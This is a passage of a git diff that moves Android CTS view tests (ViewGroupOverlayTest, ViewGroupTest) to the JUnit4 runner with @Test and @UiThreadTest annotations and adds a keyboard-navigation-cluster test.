-        runTestOnUiThread(() -> mViewGroupOverlay.remove(greenView));
+        mViewGroupOverlay.remove(greenView);
         colorRectangles.clear();
         colorRectangles.add(new Pair<>(new Rect(10, 20, 30, 40), Color.RED));
         colorRectangles.add(new Pair<>(new Rect(40, 60, 80, 90), Color.BLUE));
@@ -135,25 +147,23 @@
                 Color.WHITE, colorRectangles);
 
         // Clear all views from the overlay and test that we're back to pure white fill
-        runTestOnUiThread(() -> mViewGroupOverlay.clear());
+        mViewGroupOverlay.clear();
         DrawingUtils.assertAllPixelsOfColor("Back to default fill", mViewGroupWithOverlay,
                 Color.WHITE, null);
     }
 
-
-    public void testOverlayWithNonOverlappingViewAndDrawable() throws Throwable {
+    @UiThreadTest
+    @Test
+    public void testOverlayWithNonOverlappingViewAndDrawable() {
         // Add one view and one drawable to the overlay
-        final View redView = new View(mContext);
+        final View redView = new View(mActivity);
         redView.setBackgroundColor(Color.RED);
         redView.layout(10, 20, 30, 40);
         final Drawable greenDrawable = new ColorDrawable(Color.GREEN);
         greenDrawable.setBounds(60, 30, 90, 50);
 
-        runTestOnUiThread(
-                () -> {
-                    mViewGroupOverlay.add(redView);
-                    mViewGroupOverlay.add(greenDrawable);
-                });
+        mViewGroupOverlay.add(redView);
+        mViewGroupOverlay.add(greenDrawable);
 
         final List<Pair<Rect, Integer>> colorRectangles = new ArrayList<>();
         colorRectangles.add(new Pair<>(new Rect(10, 20, 30, 40), Color.RED));
@@ -162,32 +172,31 @@
                 mViewGroupWithOverlay, Color.WHITE, colorRectangles);
 
         // Remove the view from the overlay
-        runTestOnUiThread(() -> mViewGroupOverlay.remove(redView));
+        mViewGroupOverlay.remove(redView);
         colorRectangles.clear();
         colorRectangles.add(new Pair<>(new Rect(60, 30, 90, 50), Color.GREEN));
         DrawingUtils.assertAllPixelsOfColor("Overlay with one drawable", mViewGroupWithOverlay,
                 Color.WHITE, colorRectangles);
 
         // Clear everything from the overlay and test that we're back to pure white fill
-        runTestOnUiThread(() -> mViewGroupOverlay.clear());
+        mViewGroupOverlay.clear();
         DrawingUtils.assertAllPixelsOfColor("Back to default fill", mViewGroupWithOverlay,
                 Color.WHITE, null);
     }
 
-    public void testOverlayWithOverlappingViews() throws Throwable {
+    @UiThreadTest
+    @Test
+    public void testOverlayWithOverlappingViews() {
         // Add two overlapping colored views to the overlay
-        final View redView = new View(mContext);
+        final View redView = new View(mActivity);
         redView.setBackgroundColor(Color.RED);
         redView.layout(10, 20, 60, 40);
-        final View greenView = new View(mContext);
+        final View greenView = new View(mActivity);
         greenView.setBackgroundColor(Color.GREEN);
         greenView.layout(30, 20, 80, 40);
 
-        runTestOnUiThread(
-                () -> {
-                    mViewGroupOverlay.add(redView);
-                    mViewGroupOverlay.add(greenView);
-                });
+        mViewGroupOverlay.add(redView);
+        mViewGroupOverlay.add(greenView);
 
         // Our overlay views overlap in horizontal 30-60 range. Here we test that the
         // second view is the one that is drawn last in that range.
@@ -198,31 +207,30 @@
                 Color.WHITE, colorRectangles);
 
         // Remove the second view from the overlay
-        runTestOnUiThread(() -> mViewGroupOverlay.remove(greenView));
+        mViewGroupOverlay.remove(greenView);
         colorRectangles.clear();
         colorRectangles.add(new Pair<>(new Rect(10, 20, 60, 40), Color.RED));
         DrawingUtils.assertAllPixelsOfColor("Overlay with one drawable", mViewGroupWithOverlay,
                 Color.WHITE, colorRectangles);
 
         // Clear all views from the overlay and test that we're back to pure white fill
-        runTestOnUiThread(() -> mViewGroupOverlay.clear());
+        mViewGroupOverlay.clear();
         DrawingUtils.assertAllPixelsOfColor("Back to default fill", mViewGroupWithOverlay,
                 Color.WHITE, null);
     }
 
-    public void testOverlayWithOverlappingViewAndDrawable() throws Throwable {
+    @UiThreadTest
+    @Test
+    public void testOverlayWithOverlappingViewAndDrawable() {
         // Add two overlapping colored views to the overlay
         final Drawable redDrawable = new ColorDrawable(Color.RED);
         redDrawable.setBounds(10, 20, 60, 40);
-        final View greenView = new View(mContext);
+        final View greenView = new View(mActivity);
         greenView.setBackgroundColor(Color.GREEN);
         greenView.layout(30, 20, 80, 40);
 
-        runTestOnUiThread(
-                () -> {
-                    mViewGroupOverlay.add(redDrawable);
-                    mViewGroupOverlay.add(greenView);
-                });
+        mViewGroupOverlay.add(redDrawable);
+        mViewGroupOverlay.add(greenView);
 
         // Our overlay views overlap in horizontal 30-60 range. Even though the green view was
         // added after the red drawable, *all* overlay drawables are drawn after the overlay views.
@@ -234,70 +242,39 @@
                 mViewGroupWithOverlay, Color.WHITE, colorRectangles);
 
         // Remove the drawable from the overlay
-        runTestOnUiThread(() -> mViewGroupOverlay.remove(redDrawable));
+        mViewGroupOverlay.remove(redDrawable);
         colorRectangles.clear();
         colorRectangles.add(new Pair<>(new Rect(30, 20, 80, 40), Color.GREEN));
         DrawingUtils.assertAllPixelsOfColor("Overlay with one view", mViewGroupWithOverlay,
                 Color.WHITE, colorRectangles);
 
         // Clear all views from the overlay and test that we're back to pure white fill
-        runTestOnUiThread(() -> mViewGroupOverlay.clear());
+        mViewGroupOverlay.clear();
         DrawingUtils.assertAllPixelsOfColor("Back to default fill", mViewGroupWithOverlay,
                 Color.WHITE, null);
     }
 
+    @Test
     public void testOverlayViewNoClicks() throws Throwable {
         // Add one colored view with mock click listener to the overlay
-        final View redView = new View(mContext);
+        final View redView = new View(mActivity);
         redView.setBackgroundColor(Color.RED);
         final View.OnClickListener mockClickListener = mock(View.OnClickListener.class);
         redView.setOnClickListener(mockClickListener);
         redView.layout(10, 20, 30, 40);
 
-        runTestOnUiThread(() -> mViewGroupOverlay.add(redView));
+        mActivityRule.runOnUiThread(() -> mViewGroupOverlay.add(redView));
 
-        // If we call performClick or dispatchTouchEvent on the view that we've added to the
-        // overlay, that will invoke the listener that we've registered. But here we need to
-        // test that such a view doesn't get clicks in the regular event processing pipeline
-        // that handles individual events at the screen level. Use Instrumentation to emulate
-        // the high-level sequence of events instead.
-        final int[] viewGroupOnScreenXY = new int[2];
-        mViewGroupWithOverlay.getLocationOnScreen(viewGroupOnScreenXY);
-
-        // Compute the coordinates for emulating a tap in the center of the view we've added
-        // to the overlay.
-        final int emulatedTapX = viewGroupOnScreenXY[0] + redView.getLeft()
-                + redView.getWidth() / 2;
-        final int emulatedTapY = viewGroupOnScreenXY[1] + redView.getTop()
-                + redView.getHeight() / 2;
-        final Instrumentation instrumentation = getInstrumentation();
-
-        // Inject DOWN event
-        long downTime = SystemClock.uptimeMillis();
-        MotionEvent eventDown = MotionEvent.obtain(
-                downTime, downTime, MotionEvent.ACTION_DOWN, emulatedTapX, emulatedTapY, 1);
-        instrumentation.sendPointerSync(eventDown);
-
-        // Inject MOVE event
-        long moveTime = SystemClock.uptimeMillis();
-        MotionEvent eventMove = MotionEvent.obtain(
-                moveTime, moveTime, MotionEvent.ACTION_MOVE, emulatedTapX, emulatedTapY, 1);
-        instrumentation.sendPointerSync(eventMove);
-
-        // Inject UP event
-        long upTime = SystemClock.uptimeMillis();
-        MotionEvent eventUp = MotionEvent.obtain(
-                upTime, upTime, MotionEvent.ACTION_UP, emulatedTapX, emulatedTapY, 1);
-        instrumentation.sendPointerSync(eventUp);
-
-        // Wait for the system to process all events in the queue
-        instrumentation.waitForIdleSync();
+        // Emulate a tap in the center of the view we've added to the overlay
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mViewGroupWithOverlay);
 
         // Verify that our mock listener hasn't been called
         verify(mockClickListener, never()).onClick(any(View.class));
     }
 
-    public void testOverlayReparenting() throws Throwable {
+    @UiThreadTest
+    @Test
+    public void testOverlayReparenting() {
         // Find the view that we're about to add to our overlay
         final View level2View = mViewGroupWithOverlay.findViewById(R.id.level2);
         final View level3View = level2View.findViewById(R.id.level3);
@@ -305,11 +282,8 @@
         assertTrue(level2View == level3View.getParent());
 
         // Set the fill of this view to red
-        runTestOnUiThread(
-                () -> {
-                    level3View.setBackgroundColor(Color.RED);
-                    mViewGroupOverlay.add(level3View);
-                });
+        level3View.setBackgroundColor(Color.RED);
+        mViewGroupOverlay.add(level3View);
 
         // At this point we expect the view that was added to the overlay to have been removed
         // from its original parent
diff --git a/tests/tests/view/src/android/view/cts/ViewGroupTest.java b/tests/tests/view/src/android/view/cts/ViewGroupTest.java
index dba02ee..95b8491 100644
--- a/tests/tests/view/src/android/view/cts/ViewGroupTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewGroupTest.java
@@ -16,10 +16,25 @@
 
 package android.view.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Mockito.inOrder;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+
+import android.annotation.NonNull;
+import android.app.Activity;
 import android.content.Context;
 import android.content.Intent;
+import android.content.pm.PackageManager;
 import android.content.res.XmlResourceParser;
-import android.cts.util.CTSResult;
 import android.graphics.Bitmap;
 import android.graphics.Bitmap.Config;
 import android.graphics.Canvas;
@@ -29,7 +44,12 @@
 import android.graphics.drawable.BitmapDrawable;
 import android.os.Parcelable;
 import android.os.SystemClock;
-import android.test.InstrumentationTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.LargeTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.DisplayMetrics;
 import android.util.SparseArray;
@@ -43,10 +63,8 @@
 import android.view.View;
 import android.view.View.BaseSavedState;
 import android.view.View.MeasureSpec;
-import android.view.View.OnTouchListener;
 import android.view.ViewGroup;
 import android.view.ViewGroup.LayoutParams;
-import android.view.ViewGroup.OnHierarchyChangeListener;
 import android.view.WindowManager;
 import android.view.animation.AlphaAnimation;
 import android.view.animation.Animation;
@@ -55,602 +73,702 @@
 import android.view.animation.RotateAnimation;
 import android.view.animation.Transformation;
 import android.view.cts.util.XmlUtils;
+import android.widget.Button;
 import android.widget.TextView;
 
+import com.android.compatibility.common.util.CTSResult;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.InOrder;
+
 import java.util.ArrayList;
 
-public class ViewGroupTest extends InstrumentationTestCase implements CTSResult{
-
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ViewGroupTest implements CTSResult {
     private Context mContext;
     private MotionEvent mMotionEvent;
     private int mResultCode;
 
-    private Sync mSync = new Sync();
+    private MockViewGroup mMockViewGroup;
+    private TextView mTextView;
+    private MockTextView mMockTextView;
+
+    @Rule
+    public ActivityTestRule<CtsActivity> mCtsActivityRule =
+            new ActivityTestRule<>(CtsActivity.class, false, false);
+
+    private final Sync mSync = new Sync();
     private static class Sync {
         boolean mHasNotify;
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getTargetContext();
+    @UiThreadTest
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mMockViewGroup = new MockViewGroup(mContext);
+        mTextView = new TextView(mContext);
+        mMockTextView = new MockTextView(mContext);
     }
 
+    @Test
     public void testConstructor() {
         new MockViewGroup(mContext);
         new MockViewGroup(mContext, null);
         new MockViewGroup(mContext, null, 0);
     }
 
+    @UiThreadTest
+    @Test
     public void testAddFocusables() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        vg.setFocusable(true);
+        mMockViewGroup.setFocusable(true);
 
-        ArrayList<View> list = new ArrayList<View>();
-        TextView textView = new TextView(mContext);
-        list.add(textView);
-        vg.addView(textView);
-        vg.addFocusables(list, 0);
+        // Child is focusable.
+        ArrayList<View> list = new ArrayList<>();
+        list.add(mTextView);
+        mMockViewGroup.addView(mTextView);
+        mMockViewGroup.addFocusables(list, 0);
 
         assertEquals(2, list.size());
 
-        list = new ArrayList<View>();
-        list.add(textView);
-        vg.setDescendantFocusability(ViewGroup.FOCUS_BLOCK_DESCENDANTS);
-        vg.setFocusable(false);
-        vg.addFocusables(list, 0);
+        // Parent blocks descendants.
+        list = new ArrayList<>();
+        list.add(mTextView);
+        mMockViewGroup.setDescendantFocusability(ViewGroup.FOCUS_BLOCK_DESCENDANTS);
+        mMockViewGroup.setFocusable(false);
+        mMockViewGroup.addFocusables(list, 0);
         assertEquals(1, list.size());
+
+        // Both parent and child are focusable.
+        list.clear();
+        mMockViewGroup.setDescendantFocusability(ViewGroup.FOCUS_BEFORE_DESCENDANTS);
+        mTextView.setFocusable(true);
+        mMockViewGroup.setFocusable(true);
+        mMockViewGroup.addFocusables(list, 0);
+        assertEquals(2, list.size());
     }
 
+    @UiThreadTest
+    @Test
+    public void testAddKeyboardNavigationClusters() {
+        View v1 = new MockView(mContext);
+        v1.setFocusableInTouchMode(true);
+        View v2 = new MockView(mContext);
+        v2.setFocusableInTouchMode(true);
+        mMockViewGroup.addView(v1);
+        mMockViewGroup.addView(v2);
+
+        // No clusters.
+        ArrayList<View> list = new ArrayList<>();
+        mMockViewGroup.addKeyboardNavigationClusters(list, 0);
+        assertEquals(0, list.size());
+
+        // A cluster and a non-cluster child.
+        v1.setKeyboardNavigationCluster(true);
+        mMockViewGroup.addKeyboardNavigationClusters(list, 0);
+        assertEquals(1, list.size());
+        assertEquals(v1, list.get(0));
+        list.clear();
+
+        // Blocking descendants from getting focus also blocks group search.
+        mMockViewGroup.setDescendantFocusability(ViewGroup.FOCUS_BLOCK_DESCENDANTS);
+        mMockViewGroup.addKeyboardNavigationClusters(list, 0);
+        assertEquals(0, list.size());
+        mMockViewGroup.setDescendantFocusability(ViewGroup.FOCUS_BEFORE_DESCENDANTS);
+
+        // Testing the results ordering.
+        v2.setKeyboardNavigationCluster(true);
+        mMockViewGroup.addKeyboardNavigationClusters(list, 0);
+        assertEquals(2, list.size());
+        assertEquals(v1, list.get(0));
+        assertEquals(v2, list.get(1));
+        list.clear();
+
+        // 3-level hierarchy.
+        ViewGroup parent = new MockViewGroup(mContext);
+        parent.addView(mMockViewGroup);
+        mMockViewGroup.removeView(v2);
+        parent.addKeyboardNavigationClusters(list, 0);
+        assertEquals(1, list.size());
+        assertEquals(v1, list.get(0));
+        list.clear();
+
+        // Cluster with no focusables gets ignored
+        mMockViewGroup.addView(v2);
+        v2.setFocusable(false);
+        mMockViewGroup.addKeyboardNavigationClusters(list, 0);
+        assertEquals(1, list.size());
+        list.clear();
+
+        // Invisible children get ignored.
+        mMockViewGroup.setVisibility(View.GONE);
+        parent.addKeyboardNavigationClusters(list, 0);
+        assertEquals(0, list.size());
+        list.clear();
+
+        // Nested clusters are ignored
+        TestClusterHier h = new TestClusterHier();
+        h.nestedGroup.setKeyboardNavigationCluster(true);
+        h.cluster2.setKeyboardNavigationCluster(false);
+        h.top.addKeyboardNavigationClusters(list, View.FOCUS_FORWARD);
+        assertTrue(list.contains(h.nestedGroup));
+        list.clear();
+        h.cluster2.setKeyboardNavigationCluster(true);
+        h.top.addKeyboardNavigationClusters(list, View.FOCUS_FORWARD);
+        assertFalse(list.contains(h.nestedGroup));
+        list.clear();
+    }
+
+    @UiThreadTest
+    @Test
     public void testAddStatesFromChildren() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        TextView textView = new TextView(mContext);
-        vg.addView(textView);
-        assertFalse(vg.addStatesFromChildren());
+        mMockViewGroup.addView(mTextView);
+        assertFalse(mMockViewGroup.addStatesFromChildren());
 
-        vg.setAddStatesFromChildren(true);
-        textView.performClick();
-        assertTrue(vg.addStatesFromChildren());
-        assertTrue(vg.isDrawableStateChangedCalled);
+        mMockViewGroup.setAddStatesFromChildren(true);
+        mTextView.performClick();
+        assertTrue(mMockViewGroup.addStatesFromChildren());
+        assertTrue(mMockViewGroup.isDrawableStateChangedCalled);
     }
 
+    @UiThreadTest
+    @Test
     public void testAddTouchables() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        vg.setFocusable(true);
+        mMockViewGroup.setFocusable(true);
 
-        ArrayList<View> list = new ArrayList<View>();
-        TextView textView = new TextView(mContext);
-        textView.setVisibility(View.VISIBLE);
-        textView.setClickable(true);
-        textView.setEnabled(true);
+        ArrayList<View> list = new ArrayList<>();
+        mTextView.setVisibility(View.VISIBLE);
+        mTextView.setClickable(true);
+        mTextView.setEnabled(true);
 
-        list.add(textView);
-        vg.addView(textView);
-        vg.addTouchables(list);
+        list.add(mTextView);
+        mMockViewGroup.addView(mTextView);
+        mMockViewGroup.addTouchables(list);
 
         assertEquals(2, list.size());
 
-        View v = vg.getChildAt(0);
-        assertSame(textView, v);
+        View v = mMockViewGroup.getChildAt(0);
+        assertSame(mTextView, v);
 
-        v = vg.getChildAt(-1);
+        v = mMockViewGroup.getChildAt(-1);
         assertNull(v);
 
-        v = vg.getChildAt(1);
+        v = mMockViewGroup.getChildAt(1);
         assertNull(v);
 
-        v = vg.getChildAt(100);
+        v = mMockViewGroup.getChildAt(100);
         assertNull(v);
 
-        v = vg.getChildAt(-100);
+        v = mMockViewGroup.getChildAt(-100);
         assertNull(v);
     }
 
+    @UiThreadTest
+    @Test
     public void testAddView() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        TextView textView = new TextView(mContext);
+        assertEquals(0, mMockViewGroup.getChildCount());
 
-        assertEquals(0, vg.getChildCount());
-
-        vg.addView(textView);
-        assertEquals(1, vg.getChildCount());
+        mMockViewGroup.addView(mTextView);
+        assertEquals(1, mMockViewGroup.getChildCount());
+        assertTrue(mMockViewGroup.isOnViewAddedCalled);
     }
 
+    @UiThreadTest
+    @Test
     public void testAddViewWithParaViewInt() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        TextView textView = new TextView(mContext);
+        assertEquals(0, mMockViewGroup.getChildCount());
 
-        assertEquals(0, vg.getChildCount());
-
-        vg.addView(textView, -1);
-        assertEquals(1, vg.getChildCount());
+        mMockViewGroup.addView(mTextView, -1);
+        assertEquals(1, mMockViewGroup.getChildCount());
+        assertTrue(mMockViewGroup.isOnViewAddedCalled);
     }
 
+    @UiThreadTest
+    @Test
     public void testAddViewWithParaViewLayoutPara() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        TextView textView = new TextView(mContext);
+        assertEquals(0, mMockViewGroup.getChildCount());
 
-        assertEquals(0, vg.getChildCount());
+        mMockViewGroup.addView(mTextView, new ViewGroup.LayoutParams(100, 200));
 
-        vg.addView(textView, new ViewGroup.LayoutParams(100, 200));
-
-        assertEquals(1, vg.getChildCount());
+        assertEquals(1, mMockViewGroup.getChildCount());
+        assertTrue(mMockViewGroup.isOnViewAddedCalled);
     }
 
+    @UiThreadTest
+    @Test
     public void testAddViewWithParaViewIntInt() {
         final int width = 100;
         final int height = 200;
-        MockViewGroup vg = new MockViewGroup(mContext);
-        TextView textView = new TextView(mContext);
 
-        assertEquals(0, vg.getChildCount());
+        assertEquals(0, mMockViewGroup.getChildCount());
 
-        vg.addView(textView, width, height);
-        assertEquals(width, textView.getLayoutParams().width);
-        assertEquals(height, textView.getLayoutParams().height);
+        mMockViewGroup.addView(mTextView, width, height);
+        assertEquals(width, mTextView.getLayoutParams().width);
+        assertEquals(height, mTextView.getLayoutParams().height);
 
-        assertEquals(1, vg.getChildCount());
+        assertEquals(1, mMockViewGroup.getChildCount());
+        assertTrue(mMockViewGroup.isOnViewAddedCalled);
     }
 
+    @UiThreadTest
+    @Test
     public void testAddViewWidthParaViewIntLayoutParam() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        TextView textView = new TextView(mContext);
+        assertEquals(0, mMockViewGroup.getChildCount());
 
-        assertEquals(0, vg.getChildCount());
+        mMockViewGroup.addView(mTextView, -1, new ViewGroup.LayoutParams(100, 200));
 
-        vg.addView(textView, -1, new ViewGroup.LayoutParams(100, 200));
-
-        assertEquals(1, vg.getChildCount());
+        assertEquals(1, mMockViewGroup.getChildCount());
+        assertTrue(mMockViewGroup.isOnViewAddedCalled);
     }
 
+    @UiThreadTest
+    @Test
     public void testAddViewInLayout() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        TextView textView = new TextView(mContext);
+        assertEquals(0, mMockViewGroup.getChildCount());
 
-        assertEquals(0, vg.getChildCount());
-
-        assertTrue(vg.isRequestLayoutCalled);
-        vg.isRequestLayoutCalled = false;
-        assertTrue(vg.addViewInLayout(textView, -1, new ViewGroup.LayoutParams(100, 200)));
-        assertEquals(1, vg.getChildCount());
+        assertTrue(mMockViewGroup.isRequestLayoutCalled);
+        mMockViewGroup.isRequestLayoutCalled = false;
+        assertTrue(mMockViewGroup.addViewInLayout(
+                mTextView, -1, new ViewGroup.LayoutParams(100, 200)));
+        assertEquals(1, mMockViewGroup.getChildCount());
         // check that calling addViewInLayout() does not trigger a
         // requestLayout() on this ViewGroup
-        assertFalse(vg.isRequestLayoutCalled);
+        assertFalse(mMockViewGroup.isRequestLayoutCalled);
+        assertTrue(mMockViewGroup.isOnViewAddedCalled);
     }
 
+    @UiThreadTest
+    @Test
     public void testAttachLayoutAnimationParameters() {
-        MockViewGroup vg = new MockViewGroup(mContext);
         ViewGroup.LayoutParams param = new ViewGroup.LayoutParams(10, 10);
 
-        vg.attachLayoutAnimationParameters(null, param, 1, 2);
+        mMockViewGroup.attachLayoutAnimationParameters(null, param, 1, 2);
         assertEquals(2, param.layoutAnimationParameters.count);
         assertEquals(1, param.layoutAnimationParameters.index);
     }
 
+    @UiThreadTest
+    @Test
     public void testAttachViewToParent() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        vg.setFocusable(true);
-        assertEquals(0, vg.getChildCount());
+        mMockViewGroup.setFocusable(true);
+        assertEquals(0, mMockViewGroup.getChildCount());
 
         ViewGroup.LayoutParams param = new ViewGroup.LayoutParams(10, 10);
 
-        TextView child = new TextView(mContext);
-        child.setFocusable(true);
-        vg.attachViewToParent(child, -1, param);
-        assertSame(vg, child.getParent());
-        assertEquals(1, vg.getChildCount());
-        assertSame(child, vg.getChildAt(0));
+        mTextView.setFocusable(true);
+        mMockViewGroup.attachViewToParent(mTextView, -1, param);
+        assertSame(mMockViewGroup, mTextView.getParent());
+        assertEquals(1, mMockViewGroup.getChildCount());
+        assertSame(mTextView, mMockViewGroup.getChildAt(0));
     }
 
+    @UiThreadTest
+    @Test
     public void testAddViewInLayoutWithParamViewIntLayB() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        TextView textView = new TextView(mContext);
+        assertEquals(0, mMockViewGroup.getChildCount());
 
-        assertEquals(0, vg.getChildCount());
+        assertTrue(mMockViewGroup.isRequestLayoutCalled);
+        mMockViewGroup.isRequestLayoutCalled = false;
+        assertTrue(mMockViewGroup.addViewInLayout(
+                mTextView, -1, new ViewGroup.LayoutParams(100, 200), true));
 
-        assertTrue(vg.isRequestLayoutCalled);
-        vg.isRequestLayoutCalled = false;
-        assertTrue(vg.addViewInLayout(textView, -1, new ViewGroup.LayoutParams(100, 200), true));
-
-        assertEquals(1, vg.getChildCount());
+        assertEquals(1, mMockViewGroup.getChildCount());
         // check that calling addViewInLayout() does not trigger a
         // requestLayout() on this ViewGroup
-        assertFalse(vg.isRequestLayoutCalled);
+        assertFalse(mMockViewGroup.isRequestLayoutCalled);
+        assertTrue(mMockViewGroup.isOnViewAddedCalled);
     }
 
+    @UiThreadTest
+    @Test
     public void testBringChildToFront() {
-        MockViewGroup vg = new MockViewGroup(mContext);
         TextView textView1 = new TextView(mContext);
         TextView textView2 = new TextView(mContext);
 
-        assertEquals(0, vg.getChildCount());
+        assertEquals(0, mMockViewGroup.getChildCount());
 
-        vg.addView(textView1);
-        vg.addView(textView2);
-        assertEquals(2, vg.getChildCount());
+        mMockViewGroup.addView(textView1);
+        mMockViewGroup.addView(textView2);
+        assertEquals(2, mMockViewGroup.getChildCount());
 
-        vg.bringChildToFront(textView1);
-        assertEquals(vg, textView1.getParent());
-        assertEquals(2, vg.getChildCount());
-        assertNotNull(vg.getChildAt(0));
-        assertSame(textView2, vg.getChildAt(0));
+        mMockViewGroup.bringChildToFront(textView1);
+        assertEquals(mMockViewGroup, textView1.getParent());
+        assertEquals(2, mMockViewGroup.getChildCount());
+        assertNotNull(mMockViewGroup.getChildAt(0));
+        assertSame(textView2, mMockViewGroup.getChildAt(0));
 
-        vg.bringChildToFront(textView2);
-        assertEquals(vg, textView2.getParent());
-        assertEquals(2, vg.getChildCount());
-        assertNotNull(vg.getChildAt(0));
-        assertSame(textView1, vg.getChildAt(0));
+        mMockViewGroup.bringChildToFront(textView2);
+        assertEquals(mMockViewGroup, textView2.getParent());
+        assertEquals(2, mMockViewGroup.getChildCount());
+        assertNotNull(mMockViewGroup.getChildAt(0));
+        assertSame(textView1, mMockViewGroup.getChildAt(0));
     }
 
+    @UiThreadTest
+    @Test
     public void testCanAnimate() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-
-        assertFalse(vg.canAnimate());
+        assertFalse(mMockViewGroup.canAnimate());
 
         RotateAnimation animation = new RotateAnimation(0.1f, 0.1f);
         LayoutAnimationController la = new LayoutAnimationController(animation);
-        vg.setLayoutAnimation(la);
-        assertTrue(vg.canAnimate());
+        mMockViewGroup.setLayoutAnimation(la);
+        assertTrue(mMockViewGroup.canAnimate());
     }
 
+    @UiThreadTest
+    @Test
     public void testCheckLayoutParams() {
-        MockViewGroup view = new MockViewGroup(mContext);
-        assertFalse(view.checkLayoutParams(null));
+        assertFalse(mMockViewGroup.checkLayoutParams(null));
 
-        assertTrue(view.checkLayoutParams(new ViewGroup.LayoutParams(100, 200)));
+        assertTrue(mMockViewGroup.checkLayoutParams(new ViewGroup.LayoutParams(100, 200)));
     }
 
+    @UiThreadTest
+    @Test
     public void testChildDrawableStateChanged() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        vg.setAddStatesFromChildren(true);
+        mMockViewGroup.setAddStatesFromChildren(true);
 
-        vg.childDrawableStateChanged(null);
-        assertTrue(vg.isRefreshDrawableStateCalled);
+        mMockViewGroup.childDrawableStateChanged(null);
+        assertTrue(mMockViewGroup.isRefreshDrawableStateCalled);
     }
 
+    @UiThreadTest
+    @Test
     public void testCleanupLayoutState() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        TextView textView = new TextView(mContext);
+        assertTrue(mTextView.isLayoutRequested());
 
-        assertTrue(textView.isLayoutRequested());
-
-        vg.cleanupLayoutState(textView);
-        assertFalse(textView.isLayoutRequested());
+        mMockViewGroup.cleanupLayoutState(mTextView);
+        assertFalse(mTextView.isLayoutRequested());
     }
 
+    @UiThreadTest
+    @Test
     public void testClearChildFocus() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        TextView textView = new TextView(mContext);
+        mMockViewGroup.addView(mTextView);
+        mMockViewGroup.requestChildFocus(mTextView, null);
 
-        vg.addView(textView);
-        vg.requestChildFocus(textView, null);
+        View focusedView = mMockViewGroup.getFocusedChild();
+        assertSame(mTextView, focusedView);
 
-        View focusedView = vg.getFocusedChild();
-        assertSame(textView, focusedView);
-
-        vg.clearChildFocus(textView);
-        assertNull(vg.getFocusedChild());
+        mMockViewGroup.clearChildFocus(mTextView);
+        assertNull(mMockViewGroup.getFocusedChild());
     }
 
+    @UiThreadTest
+    @Test
     public void testClearDisappearingChildren() {
-
         Canvas canvas = new Canvas();
-        MockViewGroup vg = new MockViewGroup(mContext);
         MockViewGroup child = new MockViewGroup(mContext);
         child.setAnimation(new MockAnimation());
-        vg.addView(child);
-        assertEquals(1, vg.getChildCount());
+        mMockViewGroup.addView(child);
+        assertEquals(1, mMockViewGroup.getChildCount());
 
         assertNotNull(child.getAnimation());
-        vg.dispatchDraw(canvas);
-        assertEquals(1, vg.drawChildCalledTime);
+        mMockViewGroup.dispatchDraw(canvas);
+        assertEquals(1, mMockViewGroup.drawChildCalledTime);
 
         child.setAnimation(new MockAnimation());
-        vg.removeAllViewsInLayout();
+        mMockViewGroup.removeAllViewsInLayout();
 
-        vg.drawChildCalledTime = 0;
-        vg.dispatchDraw(canvas);
-        assertEquals(1, vg.drawChildCalledTime);
+        mMockViewGroup.drawChildCalledTime = 0;
+        mMockViewGroup.dispatchDraw(canvas);
+        assertEquals(1, mMockViewGroup.drawChildCalledTime);
 
         child.setAnimation(new MockAnimation());
-        vg.clearDisappearingChildren();
+        mMockViewGroup.clearDisappearingChildren();
 
-        vg.drawChildCalledTime = 0;
-        vg.dispatchDraw(canvas);
-        assertEquals(0, vg.drawChildCalledTime);
+        mMockViewGroup.drawChildCalledTime = 0;
+        mMockViewGroup.dispatchDraw(canvas);
+        assertEquals(0, mMockViewGroup.drawChildCalledTime);
     }
 
+    @UiThreadTest
+    @Test
     public void testClearFocus() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        MockTextView textView = new MockTextView(mContext);
-
-        vg.addView(textView);
-        vg.requestChildFocus(textView, null);
-        vg.clearFocus();
-        assertTrue(textView.isClearFocusCalled);
+        mMockViewGroup.addView(mMockTextView);
+        mMockViewGroup.requestChildFocus(mMockTextView, null);
+        mMockViewGroup.clearFocus();
+        assertTrue(mMockTextView.isClearFocusCalled);
     }
 
+    @UiThreadTest
+    @Test
     public void testDetachAllViewsFromParent() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        TextView textView = new TextView(mContext);
-
-        vg.addView(textView);
-        assertEquals(1, vg.getChildCount());
-        assertSame(vg, textView.getParent());
-        vg.detachAllViewsFromParent();
-        assertEquals(0, vg.getChildCount());
-        assertNull(textView.getParent());
+        mMockViewGroup.addView(mTextView);
+        assertEquals(1, mMockViewGroup.getChildCount());
+        assertSame(mMockViewGroup, mTextView.getParent());
